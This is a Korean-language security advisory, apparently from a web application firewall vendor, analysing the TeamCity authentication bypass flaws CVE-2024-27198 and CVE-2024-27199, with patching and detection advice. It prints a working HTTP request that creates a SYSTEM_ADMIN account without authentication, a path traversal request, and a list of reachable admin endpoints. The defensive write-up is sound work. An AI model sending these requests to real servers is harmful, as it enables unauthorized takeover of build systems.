1. 개요
TeamCity는 JetBrains의 빌드 관리 및 지속 통합 서버로, 최근 해당 서비스에서 발견된 인증 우회 취약점인 CVE-2024-27198, CVE-2024-27199에 대해 분석한 내용을 정리하였습니다.
출처 : https://www.helpnetsecurity.com/2024/03/21/exploiting-cve-2024-27198/
2. 공격 유형
JetBrains는 2024년 3월, TeamCity에서 발견된 CVE-2024-27198 및 CVE-2024-27199에 대한 패치를 발표하였고, 이후 Rapid7에서 해당 취약점들에 대한 분석 보고서를 발표하였습니다.
2-1. CVE-2024-27198
JetBrains의 TeamCity의 경우 8111 포트를 통해 HTTP 웹 서버를 실행시킬 수 있는데, 이때 특정 클래스의 요청 처리 과정에서 조작된 URI 및 요청을 전송할 시 인증 과정 없이 인증이 필요한 Endpoint에 접근이 가능합니다.
해당 취약점을 활용하여 인증이 필요한 Endpoint에 접근하기 위해서는 아래의 요구사항을 충족해야 합니다.
- 해당 서버에 존재하지 않는 URL을 요청합니다. 대부분의 PoC에서는
/hax
URL로 요청하는 것으로 보여집니다. jsp=
파라미터에 접근하고자 하는 Endpoint를 작성합니다.- 해당 URL이
;.jsp
로 끝나도록 요청을 작성합니다.
POST /hax?jsp=/app/rest/users.jsp HTTP/1.1
Content-Length: 177
Content-Type: application/json
Host: 172.29.228.65:8111
User-Agent: HTTPie
{
"username": "haxor",
"password": "haxor",
"email": "haxor",
"roles": {
"role": [
{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}
]
}
}
2-2. CVE-2024-27199
JetBrains의 TeamCity의 HTTP 웹 서버에는 인증 과정이 필요없는 일부 Endpoint들이 존재하는데, 해당 Endpoint에 Path Traversal 구문인 ../
구문을 활용하여 인증 과정이 필요한 Endpoint에 접근하여 시스템 설정을 수정하거나 민감한 정보에 접근할 수 있습니다.
인증 과정이 존재하지 않아 공격에 활용 가능한 Endpoint들은 다음과 같습니다.
/res/
/update/
/.well-known/acme-challenge/
해당 Endpoint와 ../ 구문을 활용하여 주로 공격 대상이 되는 Endpoint들은 다음과 같습니다.
/app/availableRunners
/app/https/settings/setPort
/app/https/settings/certificateInfo
/app/https/settings/defaultHttpsPort
/app/https/settings/fetchFromAcme
/app/https/settings/removeCertificate
/app/https/settings/uploadCertificate
/app/https/settings/termsOfService
/app/https/settings/triggerAcmeChallenge
/app/https/settings/cancelAcmeChallenge
/app/https/settings/getAcmeOrder
/app/https/settings/setRedirectStrategy
/app/pipeline
/app/oauth/space/createBuild.html
예시 공격 구문 :
GET /res/../admin/diagnostic.jsp HTTP/1.1
Host: 172.29.228.65:8111
User-Agent: HTTPie
3. 대응 방안
JetBrains에서는 현재 해당 취약점들에 대한 패치를 발표하였기 때문에 TeamCity On-Premises 서버를 2023.11.4 이상 버전으로 업데이트를 진행하여 대응이 가능합니다.
저희 AIWAF 제품에서는 CVE-2024-27198의 경우 2024년 3월 패턴 업데이트에 포함된 "2186: TeamCity Authentication Bypass" 패턴으로 탐지가 가능하며, CVE-2024-27199의 경우 "디렉토리 접근 탐지" 정책에서 정상적으로 탐지되고 있습니다.
4. 결론
다양한 곳에서 활용하는 CI/CD 제품인 JetBrains TeamCity에서 발견된 해당 취약점들은 대부분 쉽게 활용이 가능한 취약점이기에 빠르게 최신 버전으로 업데이트가 필요합니다.
저희 AIWAF 제품에서는 JetBrains TeamCity 및 타 제품에서 발생하는 취약점들에 대해 패턴을 개발하여 대응하고 있으며, 앞으로도 발견되는 관련 취약점들에 대해서도 신속하게 대응할 예정입니다.